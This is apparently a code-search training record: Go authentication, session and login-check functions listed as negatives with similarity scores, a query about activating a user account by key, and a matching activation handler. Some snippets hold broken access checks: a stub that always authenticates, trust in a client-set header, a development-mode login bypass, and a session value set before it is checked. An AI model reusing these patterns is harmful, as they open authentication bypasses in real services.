env.session(r)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif s.UserID == 0 {\n\t\treturn nil, errors.New(\"user not logged in\")\n\t}\n\n\treturn env.db.GetUser(s.UserID)\n}", "func checkMe(r *http.Request) (*User, error) {\n\treturn getUserFromCookie(r)\n}", "func IsAuthorised(ctx context.Context, r *http.Request) bool {\n\trequestAuthorised := r.Header.Get(constant.HeaderAuthorised)\n\tlogger.Debugf(ctx, \"security util\", \"checking if request has been authorised, authorised %s\", requestAuthorised)\n\n\tif requestAuthorised != \"\" && requestAuthorised == \"true\" {\n\t\tlogger.Debugf(ctx, \"security util\", \"request contains authorization information, authorised %s\", requestAuthorised)\n\t\treturn true\n\t}\n\n\tlogger.Debugf(ctx, \"security util\", \"request not authorised\")\n\treturn false\n}", "func UserHasPermission(r *http.Request, project string) bool {\n\tval := r.Context().Value(request.CtxAccess)\n\tif val == nil {\n\t\treturn false\n\t}\n\n\tua := val.(*UserAccess)\n\tif ua.Admin {\n\t\treturn true\n\t}\n\n\treturn shared.StringInSlice(project, ua.Projects)\n}", "func (p *hcAutonomywww) isLoggedInAsAdmin(f http.HandlerFunc) http.HandlerFunc {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\tlog.Debugf(\"isLoggedInAsAdmin: %v %v %v %v\", remoteAddr(r),\n\t\t\tr.Method, r.URL, r.Proto)\n\n\t\t// Check if user is admin\n\t\tisAdmin, err := p.isAdmin(w, r)\n\t\tif err != nil {\n\t\t\tlog.Errorf(\"isLoggedInAsAdmin: isAdmin %v\", err)\n\t\t\tutil.RespondWithJSON(w, http.StatusUnauthorized, v1.ErrorReply{\n\t\t\t\tErrorCode: int64(v1.ErrorStatusNotLoggedIn),\n\t\t\t})\n\t\t\treturn\n\t\t}\n\t\tif !isAdmin {\n\t\t\tutil.RespondWithJSON(w, http.StatusForbidden, v1.ErrorReply{})\n\t\t\treturn\n\t\t}\n\n\t\tf(w, r)\n\t}\n}", "func isAdmin(res http.ResponseWriter, req *http.Request) bool {\n\tmyUser := getUser(res, req)\n\treturn myUser.Username == \"admin\"\n}", "func NotLoggedIn(cmd *cli.Cmd) bool {\n\tenv := cmd.Env.(config.TravisCommandConfig)\n\n\tsuccess := len(env.Token) != 0\n\tif success {\n\t\tuser, err := CurrentUser(cmd.Env.(config.TravisCommandConfig).Client)\n\t\tsuccess = err == nil && user.Name != \"\"\n\t}\n\tif !success {\n\t\tcmd.Stderr.Printf(\"You need to be logged in to do this. For this please run %s login.\\n\", cmd.Args.ProgramName())\n\t\treturn true\n\t}\n\treturn false\n}", "func IsAuthenticated(r *http.Request) bool {\n\t//todo write logic here\n\treturn true\n}", "func IsSession(r *http.Request) bool {\n\tval := r.Context().Value(authSessionActiveKey)\n\tswitch val.(type) {\n\tcase bool:\n\t\treturn val.(bool)\n\tdefault:\n\t\treturn false\n\t}\n}", "func (user User) IsAnon() bool {\n\treturn user.ID == UserAnon\n}", "func IsLegalUser(Auth string) (bool, User) {\n\n\tvar Answer bool\n\tvar currentToken Token\n\tvar currentUser User\n\n\ttoken := strings.Replace(Auth, \"Bearer \", \"\", -1)\n\t// var blankid uuid.UUID\n\tDb.Where(\"token = ?\", token).Last(&currentToken)\n\tif currentToken.Token != \"\" {\n\n\t\tif currentToken.Expired.After(time.Now()) {\n\n\t\t\tDb.Where(\"id = ?\", currentToken.UserID).Last(&currentUser)\n\n\t\t\tif currentUser.Name != \"\" {\n\t\t\t\tAnswer = true\n\t\t\t} else {\n\t\t\t\tAnswer = false\n\t\t\t}\n\t\t}\n\n\t}\n\n\treturn Answer, currentUser\n\n}", "func (authentication *Authentication) IsLogin(res http.ResponseWriter, req *http.Request) bool {\n\tsessionID, sessionIDState := cookies.GetCookie(req, \"session\")\n\tif !sessionIDState {\n\t\treturn false\n\t}\n\tsession, sessionState := authentication.userSession[sessionID.Value]\n\tif sessionState {\n\t\tsession.lastActivity = time.Now()\n\t\tauthentication.userSession[sessionID.Value] = session\n\t}\n\t_, userState := authentication.loginUser[session.email]\n\tsessionID.Path = \"/\"\n\tsessionID.MaxAge = sessionExistTime\n\thttp.SetCookie(res, sessionID)\n\treturn userState\n}", "func (o *ActionDTO) HasUserIdentity() bool {\n\tif o != nil && o.UserIdentity != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "func CurrentUser(c *gin.Context) *models.User {\n\tvar user models.User\n\tsession := sessions.Default(c)\n\tcurrentUserID := session.Get(\"user_id\")\n\n\tif currentUserID == nil {\n\t\treturn nil\n\t} else if err := config.DB.First(&user, currentUserID).Error; err != nil {\n\t\treturn nil\n\t}\n\n\treturn &user\n}", "func (srv *userService) CheckLogin(session string) bool {\n\tvar User model.User\n\n\tif conf.Development() {\n\t\tCurrentUser = User.GetFirst()\t\n\t\treturn true\n\t}\n\t\n\tCurrentUser = User.GetUserByThirdSession(session)\n\tif CurrentUser == nil {\n\t\treturn false\n\t}\n\n\treturn CurrentUser.CacheSessionVal() != \"\"\n}", "func hasAccess(rc *router.Context, next router.Handler) {\n\tc := rc.Context\n\tisMember, err := auth.IsMember(c, config.Get(c).AccessGroup)\n\tif err != nil {\n\t\tutil.ErrStatus(rc, http.StatusInternalServerError, err.Error())\n\t\treturn\n\t} else if !isMember {\n\t\turl, err := auth.LoginURL(c, rc.Request.URL.RequestURI())\n\t\tif err != nil {\n\t\t\tutil.ErrStatus(\n\t\t\t\trc, http.StatusForbidden,\n\t\t\t\t\"Access denied err:\"+err.Error())\n\t\t\treturn\n\t\t}\n\t\thttp.Redirect(rc.Writer, rc.Request, url, http.StatusFound)\n\t\treturn\n\t}\n\n\tnext(rc)\n}", "func IsLogged(token string) bool {\n\tif v, ok := tokenList[token]; ok == true {\n\t\tuser, _ := userList[v]\n\t\tif user.expired() {\n\t\t\treturn false\n\t\t}\n\t\tuser.update()\n\t\treturn true\n\t}\n\treturn false\n}", "func HasUserSession(userID uuid.UUID) bool {\n\tdefer mutex.Unlock()\n\tmutex.Lock()\n\n\treturn hasUserSession(userID)\n}", "func (this *managerStruct) UserExists(name string) bool {\n\tthis.mutex.RLock()\n\tid := this.getUserId(name)\n\tthis.mutex.RUnlock()\n\texists := id >= 0\n\treturn exists\n}", "func (db *gjDatabase) hasUser() bool {\n\treturn len(db.getAllUsers()) > 0\n}", "func (p *Player) IsCurrentUser(cu *User) bool {\n\tif p == nil {\n\t\treturn false\n\t}\n\treturn p.User().Equal(cu)\n}", "func IsOwner(next buffalo.Handler) buffalo.Handler {\n\treturn func(c buffalo.Context) error {\n\t\t// Session().Get() returns interface, so we cast to string.\n\t\tif uid := c.Session().Get(\"current_user_id\"); uid != nil {\n\t\t\tpathUserID := c.Param(\"user_id\")\n\t\t\tif pathUserID != fmt.Sprintf(\"%s\", uid) {\n\t\t\t\tc.Flash().Add(\"success\", \"You do not have access to that user.\")\n\t\t\t\treturn c.Redirect(302, \"/\")\n\t\t\t}\n\t\t}\n\t\treturn next(c)\n\t}\n}", "func (a *Auth) HasToBeAuth(next http.HandlerFunc) http.HandlerFunc {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\tuserPayload := user.PayloadFromContext(r.Context())\n\n\t\tif userPayload == nil {\n\t\t\tflash.Add(\"/login\", w, r, notAuthErrorMessage)\n\n\t\t\treturn\n\t\t}\n\n\t\tnext(w, r)\n\t}\n}", "func (o *Authorization) HasUser() bool {\n\tif o != nil && o.User != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "func isAllowedUser(request admissionctl.Request) bool {\n\tif utils.SliceContains(request.UserInfo.Username, allowedUsers) {\n\t\treturn true\n\t}\n\n\tfor _, group := range sreAdminGroups {\n\t\tif utils.SliceContains(group, request.UserInfo.Groups) {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}", "func requireLogin(c *fiber.Ctx) error {\n\tcurrSession, err := sessionStore.Get(c)\n\tif err != nil {\n\t\treturn err\n\t}\n\tuser := currSession.Get(\"User\")\n\tdefer currSession.Save()\n\n\tif user == nil {\n\t\t// This request is from a user that is not logged in.\n\t\t// Send them to the login page.\n\t\treturn c.Redirect(\"/login\")\n\t}\n\n\t// If we got this far, the request is from a logged-in user.\n\t// Continue on to other middleware or routes.\n\treturn c.Next()\n}", "func (a Anonymous) Authenticated() bool { return false }", "func CheckLoginStatus(w http.ResponseWriter, r *http.Request) (bool,interface{}){\n\tsess := globalSessions.SessionStart(w,r)\n\tsess_uid := sess.Get(\"UserID\")\n\tif sess_uid == nil {\n\t\treturn false,\"\"\n\t} else {\n\t\tuID := sess_uid\n\t\tname := sess.Get(\"username\")\n\t\tfmt.Println(\"Logged in User, \", uID)\n\t\t//Tpl.ExecuteTemplate(w, \"user\", nil)\n\t\treturn true,name\n\t}\n}", "func (o *AccessRequestData) HasUserId() bool {\n\tif o != nil && o.UserId != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "func (task *Task) IsRunAsUserApplied() bool {\n\treturn nil != task.Credentials\n}", "func IsAuthenticated(handler httprouter.Handle) httprouter.Handle {\n\treturn func(res http.ResponseWriter, req *http.Request, params httprouter.Params) {\n\t\ttoken := Session.Get(req)\n\t\tif token == \"\" {\n\t\t\thttp.Redirect(res, req, \"/login\", http.StatusSeeOther)\n\t\t} else {\n\t\t\tuser := User{}\n\t\t\tdb.Get().First(&user, \"token = ?\", token)\n\t\t\tif user == (User{}) {\n\t\t\t\thttp.Redirect(res, req, \"/login\", http.StatusSeeOther)\n\t\t\t}\n\t\t\tj := jwt.Jwt{UID: user.ID, Name: user.Name, Username: user.Username}\n\t\t\tisValid := j.ValidateToken(token)\n\t\t\tif !isValid {\n\t\t\t\thttp.Redirect(res, req, \"/login\", http.StatusSeeOther)\n\t\t\t}\n\t\t\thandler(res, req, params)\n\t\t}\n\t}\n}", "func (a *ServiceReq) CheckUserAccess(userID string) error {\n\tvar id string\n\terr := a.Get(&id, \"SELECT id FROM csp_user WHERE id = $1 AND active = true\", userID)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif id != a.srcReq.UserId {\n\t\treturn errors.New(\"unauthorized\")\n\t}\n\n\treturn nil\n}", "func (q *Query) IsAuthenticated() bool {\n\treturn q.WalletID != \"\"\n}", "func GetLoggedIn(w http.ResponseWriter, r *http.Request, db *sqlx.DB) {\n\tvar err error\n\n\tsession, err := store.Get(r, \"auth\")\n\tif err != nil {\n\t\tw.Header().Set(\"Content-Type\", \"application/json; charset=UTF-8\")\n\t\tw.WriteHeader(http.StatusOK)\n\n\t\tif err := json.NewEncoder(w).Encode(\"access denied\"); err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t} else {\n\t\t// Convert our session data into an instance of User\n\t\tuser := User{}\n\t\tuser, _ = session.Values[\"user\"].(User)\n\n\t\tif user.Username != \"\" && user.AccessLevel == \"admin\" {\n\t\t\tw.Header().Set(\"Content-Type\", \"application/json; charset=UTF-8\")\n\t\t\tw.WriteHeader(http.StatusOK)\n\n\t\t\tif err := json.NewEncoder(w).Encode(user); err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t} else {\n\t\t\tw.Header().Set(\"Content-Type\", \"application/json; charset=UTF-8\")\n\t\t\tw.WriteHeader(http.StatusOK)\n\n\t\t\tif err := json.NewEncoder(w).Encode(\"access denied\"); err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t}\n\t}\n\n\tlogRequest(r)\n}", "func AuthRequired(c *gin.Context) {\n\tsession := sessions.Default(c)\n\tsession.Set(\"user\", \"aoki\")\n\tuser := session.Get(userKey)\n\tif user == nil {\n\t\t// Abort the request with the appropriate error code\n\t\tc.AbortWithStatusJSON(http.StatusUnauthorized, gin.H{\"error\": \"unauthorized\"})\n\t\treturn\n\t}\n\t// Continue down the chain to handler etc\n\tc.Next()\n}", "func (u *User) IsAnonymous() bool { return u.userData.Anonymous }", "func CheckAuth(c *gin.Context) {\n\n}", "func HasUserToken(userID uuid.UUID) (bool, string) {\n\tdefer mutex.Unlock()\n\tmutex.Lock()\n\n\tfor k, v := range tokenAvailable {\n\t\tif v.userID == userID {\n\t\t\treturn true, k\n\t\t}\n\t}\n\treturn false, \"\"\n}", "func (o RedisToken) GetUser(id, token, clientid string) bool {\n\n\tredisToken, err := o.Conn.Get(id).Result()\n\n\tif err != nil {\n\t\tlog.Debugf(\"Redis get user error: %s\", err)\n\t\treturn false\n\t}\n\n\treturn redisToken == token\n}", "func (c *Client) IsAuthed() bool {\n\treturn c.authedUser != nil\n}", "func (bp *Breakpoint) IsUser() bool {\n\treturn bp.Kind&UserBreakpoint != 0\n}", "func AuthRequired(c *gin.Context) {\n\tsession := sessions.Default(c)\n\tuser := session.Get(userkey)\n\tif user == nil {\n\t\t// Abort the request with the appropriate error code\n\t\tc.AbortWithStatusJSON(http.StatusUnauthorized, gin.H{\"error\": \"unauthorized\"})\n\t\treturn\n\t}\n\t// Continue down the chain to handler etc\n\tc.Next()\n}", "func (s *Session) IsAdminUser() bool {\n\treturn s.AdminUserID != uuid.Nil\n}", "func RequireAuthentication(ctx *web.Context) bool {\n\tsession, _ := CookieStore.Get(ctx.Request, \"monet-session\")\n\n\tif session.Values[\"authenticated\"] != true {\n\t\tctx.Redirect(302, \"/admin/login/\")\n\t\treturn true\n\t}\n\treturn false\n}" ]
[ "0.72608656", "0.7167384", "0.70349777", "0.6959235", "0.67846614", "0.6773638", "0.66770107", "0.66748226", "0.6639937", "0.66283315", "0.66162944", "0.65844285", "0.65049565", "0.64838725", "0.6463123", "0.6461576", "0.641174", "0.6352023", "0.63310164", "0.6327516", "0.6311728", "0.63090384", "0.6220057", "0.62043375", "0.6193266", "0.6153271", "0.61491835", "0.612653", "0.61115235", "0.6106715", "0.60950136", "0.6069675", "0.6050247", "0.6048972", "0.60413176", "0.60378397", "0.6002193", "0.59984404", "0.5987227", "0.59769404", "0.59747124", "0.5943762", "0.5934086", "0.5929711", "0.5929251", "0.5927367", "0.59181964", "0.59165156", "0.58916456", "0.5884744", "0.5882107", "0.58446753", "0.582683", "0.580581", "0.5790642", "0.5784281", "0.5776413", "0.5774288", "0.57729226", "0.57630706", "0.5757536", "0.5755945", "0.575293", "0.5747811", "0.57418776", "0.5685598", "0.56839144", "0.5677022", "0.5660013", "0.56441706", "0.5641355", "0.5640561", "0.5640341", "0.5619972", "0.5605354", "0.55999076", "0.5593934", "0.5593012", "0.5580909", "0.55569565", "0.55473936", "0.5541376", "0.5537497", "0.5523617", "0.5513227", "0.55043066", "0.5502759", "0.5469213", "0.546572", "0.54637176", "0.54580575", "0.5451709", "0.54467285", "0.54400927", "0.54374844", "0.543024", "0.54291797", "0.5427798", "0.5426144", "0.5423975" ]
0.6837052
4
activate user account using activation key
func activate(ctx context.Context) error { r := ctx.HttpRequest() key := ctx.PathValue("key") session, _ := core.GetSession(r) if user := db.GetInactiveUserByKey(key); user != nil { if err := user.Activate(); err != nil { log.Error("Error activating user: ", err) } session.AddFlash("Activated! you can now login using your account") } else { session.AddFlash("Your activation key is used or has already expired") } if err := session.Save(r, ctx.HttpResponseWriter()); err != nil { log.Error("Unable to save session: ", err) } return goweb.Respond.WithPermanentRedirect(ctx, "/") }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (a *Auth) Activate(key []byte) error {\n\tif !bytes.Equal(a.ActivationKey, key) {\n\t\treturn ErrInvalidActivationKey\n\t}\n\n\tif time.Now().After(a.ActivationExpires) {\n\t\treturn ErrActivationKeyExpired\n\t}\n\n\ta.IsActive = true\n\ta.ActivationKey = nil\n\treturn nil\n}", "func ActivateUser(t string) {\n\tsqlStmt := `UPDATE tblActivationTokens\n\t\t\t\tSET fldIsActivated = true\n\t\t\t\tWHERE fldToken = ?;`\n\n\tstmt, err := globals.Db.Prepare(sqlStmt)\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\tdefer stmt.Close()\n\n\t// Execute insert and replace with actual values.\n\t_, err = stmt.Exec(t)\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n}", "func (sry *Sryun) Activate(user *model.User, repo *model.Repo, key *model.Key, link string) error {\n\treturn nil\n}", "func activateAccount(model *ActivateAccountModel) api.Response {\n\tvar err = auth.ActivateAppUser(model.Token)\n\n\tif err != nil {\n\t\treturn api.BadRequest(err)\n\t}\n\n\treturn api.StatusResponse(http.StatusNoContent)\n}", "func activateAppUser(token string) api.Response {\n\tvar err = auth.ActivateAppUser(token)\n\tif err != nil {\n\t\treturn api.BadRequest(err)\n\t}\n\n\treturn api.PlainTextResponse(http.StatusCreated, \"Account is now active\")\n}", "func ActivateUser(w http.ResponseWriter, r *http.Request) {\n\tfLog := userMgmtLogger.WithField(\"func\", \"ActivateUser\").WithField(\"RequestID\", r.Context().Value(constants.RequestID)).WithField(\"path\", r.URL.Path).WithField(\"method\", r.Method)\n\tbody, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\tfLog.Errorf(\"ioutil.ReadAll got %s\", err.Error())\n\t\thelper.WriteHTTPResponse(r.Context(), w, http.StatusInternalServerError, err.Error(), nil, nil)\n\t\treturn\n\t}\n\tc := &ActivateUserRequest{}\n\terr = json.Unmarshal(body, c)\n\tif err != nil {\n\t\tfLog.Errorf(\"json.Unmarshal got %s\", err.Error())\n\t\thelper.WriteHTTPResponse(r.Context(), w, http.StatusBadRequest, \"Malformed json body\", nil, nil)\n\t\treturn\n\t}\n\n\tisValidPassphrase := passphrase.Validate(c.NewPassphrase, config.GetInt(\"security.passphrase.minchars\"), config.GetInt(\"security.passphrase.minwords\"), config.GetInt(\"security.passphrase.mincharsinword\"))\n\tif !isValidPassphrase {\n\t\tfLog.Errorf(\"New Passphrase invalid\")\n\t\tinvalidMsg := fmt.Sprintf(\"Invalid passphrase. Passphrase must at least has %d characters and %d words and for each word have minimum %d characters\", config.GetInt(\"security.passphrase.minchars\"), config.GetInt(\"security.passphrase.minwords\"), config.GetInt(\"security.passphrase.mincharsinword\"))\n\t\thelper.WriteHTTPResponse(r.Context(), w, http.StatusBadRequest, \"invalid passphrase\", nil, invalidMsg)\n\t\treturn\n\t}\n\n\tuser, err := UserRepo.GetUserByEmail(r.Context(), c.Email)\n\tif err != nil {\n\t\tfLog.Errorf(\"UserRepo.GetUserByEmail got %s\", err.Error())\n\t\thelper.WriteHTTPResponse(r.Context(), w, http.StatusInternalServerError, err.Error(), nil, nil)\n\t\treturn\n\t}\n\tif user == nil {\n\t\thelper.WriteHTTPResponse(r.Context(), w, http.StatusNotFound, fmt.Sprintf(\"User email %s not found\", c.Email), nil, nil)\n\t\treturn\n\t}\n\tif user.ActivationCode == c.ActivationToken {\n\t\tuser.Enabled = true\n\t\tnewHashed, err := bcrypt.GenerateFromPassword([]byte(c.NewPassphrase), 14)\n\t\tif err != nil {\n\t\t\tfLog.Errorf(\"bcrypt.GenerateFromPassword got %s\", err.Error())\n\t\t\thelper.WriteHTTPResponse(r.Context(), w, http.StatusInternalServerError, err.Error(), nil, nil)\n\t\t\treturn\n\t\t}\n\t\tuser.HashedPassphrase = string(newHashed)\n\t\terr = UserRepo.UpdateUser(r.Context(), user)\n\t\tif err != nil {\n\t\t\tfLog.Errorf(\"UserRepo.SaveOrUpdate got %s\", err.Error())\n\t\t\thelper.WriteHTTPResponse(r.Context(), w, http.StatusInternalServerError, err.Error(), nil, nil)\n\t\t\treturn\n\t\t}\n\t\tret := make(map[string]interface{})\n\t\tret[\"rec_id\"] = user.RecID\n\t\tret[\"email\"] = user.Email\n\t\tret[\"enabled\"] = user.Enabled\n\t\tret[\"suspended\"] = user.Suspended\n\t\tret[\"last_seen\"] = user.LastSeen\n\t\tret[\"last_login\"] = user.LastLogin\n\t\tret[\"enabled_2fa\"] = user.Enable2FactorAuth\n\t\thelper.WriteHTTPResponse(r.Context(), w, http.StatusOK, \"User activated\", nil, ret)\n\t} else {\n\t\thelper.WriteHTTPResponse(r.Context(), w, http.StatusNotFound, \"Activation token and email not match\", nil, nil)\n\t}\n}", "func (c *Client) ActivateUser(userID uint64, email string) (err error) {\n\n\tvar data map[string]string\n\n\t// Basic requirements\n\tif userID > 0 {\n\t\tdata = map[string]string{fieldID: fmt.Sprintf(\"%d\", userID)}\n\t} else if len(email) > 0 {\n\t\tdata = map[string]string{fieldEmail: email}\n\t} else {\n\t\terr = c.createError(fmt.Sprintf(\"missing required attribute: %s or %s\", fieldUserID, fieldEmail), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\t// Fire the Request\n\tvar response string\n\tif response, err = c.Request(fmt.Sprintf(\"%s/status/activate\", modelUser), http.MethodPut, data); err != nil {\n\t\treturn\n\t}\n\n\t// Only a 200 is treated as a success\n\terr = c.Error(http.StatusOK, response)\n\treturn\n}", "func (handler *Handler) handleUserActivationPut(w http.ResponseWriter, r *http.Request) {\n\n\t//Define a local struct to get the email out of the request\n\ttype ActivationGet struct {\n\t\tEmail string `json:\"email\"`\n\t\tActToken string `json:\"activation_token\"`\n\t}\n\n\t//Create a new password change object\n\tinfo := ActivationGet{}\n\n\t//Now get the json info\n\terr := json.NewDecoder(r.Body).Decode(&info)\n\tif err != nil {\n\t\tutils.ReturnJsonError(w, http.StatusUnprocessableEntity, err)\n\t\treturn\n\n\t}\n\n\t//Lookup the user id\n\tuser, err := handler.userHelper.GetUserByEmail(info.Email)\n\n\t//Return the error\n\tif err != nil {\n\t\tutils.ReturnJsonStatus(w, http.StatusForbidden, false, \"activation_forbidden\")\n\t\treturn\n\t}\n\n\t//Try to use the token\n\trequestId, err := handler.userHelper.CheckForActivationToken(user.Id(), info.ActToken)\n\n\t//Return the error\n\tif err != nil {\n\t\tutils.ReturnJsonStatus(w, http.StatusForbidden, false, \"activation_forbidden\")\n\t\treturn\n\t}\n\t//Now activate the user\n\terr = handler.userHelper.ActivateUser(user)\n\n\t//Return the error\n\tif err != nil {\n\t\tutils.ReturnJsonError(w, http.StatusForbidden, err)\n\t\treturn\n\t}\n\t//Mark the request as used\n\terr = handler.userHelper.UseToken(requestId)\n\n\t//Check to see if the user was created\n\tif err == nil {\n\t\tutils.ReturnJsonStatus(w, http.StatusAccepted, true, \"user_activated\")\n\t} else {\n\t\tutils.ReturnJsonError(w, http.StatusForbidden, err)\n\t}\n}", "func (dao *Dao) ActivateAcc(activeCode string) error {\n\tvar g mysql.Gooq\n\n\tg.SQL.\n\t\tSelect(userpo.Acc).\n\t\tFrom(userpo.Table).\n\t\tWhere(c(userpo.ActiveCode).Eq(\"?\"))\n\tg.AddValues(activeCode)\n\n\tvar account string\n\tif err := g.QueryRow(func(row *sql.Row) error {\n\t\treturn row.Scan(&account)\n\t}); err != nil {\n\t\treturn err\n\t}\n\n\tg = mysql.Gooq{}\n\tconditions := []gooq.Condition{c(userpo.Status).Eq(\"?\")}\n\tg.SQL.Update(userpo.Table).Set(conditions...).Where(c(userpo.Acc).Eq(\"?\"))\n\tg.AddValues(userstatus.Active, account)\n\n\tif _, err := g.Exec(); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func Activate(auth interface{}, codetype string, code string) (Response, error) {\n\tvar arguments = []interface{}{\n\t\tcodetype,\n\t\tcode,\n\t}\n\treturn Call(auth, \"activate\", arguments)\n}", "func (s Service) ActivateUser(ctx context.Context, code string, userID string) (*account.LoginResponse, error) {\n\tspan := s.tracer.MakeSpan(ctx, \"ActivateUser\")\n\tdefer span.Finish()\n\n\t// check tmp code\n\tmatched, email, err := s.repository.Cache.CheckTemporaryCodeForEmailActivation(ctx, userID, code)\n\tif err != nil {\n\t\ts.tracer.LogError(span, err)\n\t}\n\tif !matched {\n\t\treturn nil, errors.New(\"wrong_activation_code\")\n\t}\n\n\t// change status of user\n\terr = s.repository.Users.ChangeStatusOfUser(ctx, userID, status.UserStatusActivated)\n\tif err != nil {\n\t\ts.tracer.LogError(span, err)\n\t\t// internal error\n\t\treturn nil, err\n\t}\n\n\t// change status of email\n\terr = s.repository.Users.ActivateEmail(ctx, userID, email)\n\tif err != nil {\n\t\ts.tracer.LogError(span, err)\n\t\t// internal error\n\t\treturn nil, err\n\t}\n\n\tres, err := s.repository.Users.GetCredentialsByUserID(ctx, userID)\n\tif err != nil {\n\t\ts.tracer.LogError(span, err)\n\t\t// internal error\n\t\treturn nil, err\n\t}\n\n\ts.passContext(&ctx)\n\n\tresult := &account.LoginResponse{}\n\n\tresult.Token, err = s.authRPC.LoginUser(ctx, userID)\n\tif err != nil {\n\t\ts.tracer.LogError(span, err)\n\t\t// internal error\n\t}\n\n\t// TODO:\n\t// SetDateOfActivation\n\n\terr = s.repository.Cache.Remove(email)\n\tif err != nil {\n\t\ts.tracer.LogError(span, err)\n\t}\n\n\treturn &account.LoginResponse{\n\t\tID: userID,\n\t\tURL: res.URL,\n\t\tFirstName: res.FirstName,\n\t\tLastName: res.LastName,\n\t\tAvatar: res.Avatar,\n\t\tToken: result.Token,\n\t\tGender: res.Gender,\n\t}, nil\n}", "func (s *UsersService) Activate(id string, sendEmail bool) (*ActivationResponse, *Response, error) {\n\tu := fmt.Sprintf(\"users/%v/lifecycle/activate?sendEmail=%v\", id, sendEmail)\n\n\treq, err := s.client.NewRequest(\"POST\", u, nil)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tactivationInfo := new(ActivationResponse)\n\tresp, err := s.client.Do(req, activationInfo)\n\n\tif err != nil {\n\t\treturn nil, resp, err\n\t}\n\n\treturn activationInfo, resp, err\n}", "func (contrl *MailController) SendActivation(c *gin.Context) (int, gin.H, error) {\n\tconst subject = \"歡迎登入報導者,體驗會員專屬功能\"\n\tvar err error\n\tvar mailBody string\n\tvar out bytes.Buffer\n\tvar reqBody activationReqBody\n\n\tif failData, err := bindRequestJSONBody(c, &reqBody); err != nil {\n\t\treturn http.StatusBadRequest, gin.H{\"status\": \"fail\", \"data\": failData}, nil\n\t}\n\n\tif err = contrl.HTMLTemplate.ExecuteTemplate(&out, \"signin.tmpl\", struct {\n\t\tHref string\n\t}{\n\t\treqBody.ActivateLink,\n\t}); err != nil {\n\t\treturn http.StatusInternalServerError, gin.H{\"status\": \"error\", \"message\": \"can not create activate mail body\"}, errors.WithStack(err)\n\t}\n\n\tmailBody = out.String()\n\n\tif err = contrl.MailService.Send(reqBody.Email, subject, mailBody); err != nil {\n\t\treturn http.StatusInternalServerError, gin.H{\"status\": \"error\", \"message\": fmt.Sprintf(\"can not send activate mail to %s\", reqBody.Email)}, err\n\t}\n\n\treturn http.StatusNoContent, gin.H{}, nil\n}", "func (c *client) Activate(u *model.User, r *model.Repo, link string) error {\n\tconfig := map[string]string{\n\t\t\"url\": link,\n\t\t\"secret\": r.Hash,\n\t\t\"content_type\": \"json\",\n\t}\n\thook := gitea.CreateHookOption{\n\t\tType: \"gitea\",\n\t\tConfig: config,\n\t\tEvents: []string{\"push\", \"create\", \"pull_request\"},\n\t\tActive: true,\n\t}\n\n\tclient := c.newClientToken(u.Token)\n\t_, err := client.CreateRepoHook(r.Owner, r.Name, hook)\n\treturn err\n}", "func (a *Auth) NewActivationKey() {\n\ta.ActivationKey = []byte(uuid.New())\n\ta.ActivationExpires = time.Now().AddDate(0, 0, 7).Round(1 * time.Second).UTC()\n}", "func setActivationToken() func(*User) error {\n\treturn func(a *User) error {\n\t\ta.ActivationToken = uuid.New().String()\n\t\ta.ActivationExpiryDate = time.Now().Add(1 * time.Hour)\n\t\treturn nil\n\t}\n}", "func ActivateUserProfile(context *gin.Context) {\n\tuserProfile := models.UserProfile{}\n\tuserProfile.Username = context.Param(\"id\")\n\tuserProfile.Status = \"active\"\n\n\tmodifiedCount, err := userprofileservice.Update(userProfile)\n\tif modifiedCount == 0 {\n\t\tcontext.JSON(http.StatusNotFound, gin.H{\"message\": \"Failed to activate user\", \"id\": userProfile.Username})\n\t\treturn\n\t}\n\n\tif err != nil {\n\t\tcontext.JSON(http.StatusInternalServerError, gin.H{\"message\": \"Failed to activate user\", \"id\": userProfile.Username})\n\t\treturn\n\t}\n\n\tcontext.JSON(http.StatusOK, gin.H{\"message\": \"ok\"})\n}", "func (r *Bitbucket) Activate(user *model.User, repo *model.Repo, link string) error {\n\tvar client = bitbucket.New(\n\t\tr.Client,\n\t\tr.Secret,\n\t\tuser.Access,\n\t\tuser.Secret,\n\t)\n\n\t// parse the hostname from the hook, and use this\n\t// to name the ssh key\n\tvar hookurl, err = url.Parse(link)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// if the repository is private we'll need\n\t// to upload a github key to the repository\n\tif repo.Private {\n\t\t// name the key\n\t\tvar keyname = \"drone@\" + hookurl.Host\n\t\tvar _, err = client.RepoKeys.CreateUpdate(repo.Owner, repo.Name, repo.PublicKey, keyname)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// add the hook\n\t_, err = client.Brokers.CreateUpdate(repo.Owner, repo.Name, link, bitbucket.BrokerTypePost)\n\treturn err\n}", "func activateServiceAccount(path string) error {\n\tif path == \"\" {\n\t\treturn nil\n\t}\n\treturn runWithOutput(exec.Command(\"gcloud\", \"auth\", \"activate-service-account\", \"--key-file=\"+path))\n}", "func activateWorkItem(item WorkItem, request BlockReq) {\n\tvalue := workItemMap[item.ID]\n\tvalue.Active = true\n\n\t// update the workItemMap (in memory)\n\tworkItemMap[item.ID] = value\n\n\t// update the WorkItem value on disk\n\tworkDB.persistWorkItem(value)\n\n\t// update the User's WorkItem list on disk\n\tuser, getUsrError := labsDB.getUser(request.LabKey, request.Username)\n\tif getUsrError != nil {\n\t\treturn\n\t}\n\tuser.addWorkItem(item.ID)\n\tlabsDB.setUser(user)\n}", "func UserActivated(e string) bool {\n\tsqlStmt := `SELECT \n\t\t\t\t\tfldIsActivated\n\t\t\t\tFROM tblUsers\n\t\t\t\tINNER JOIN 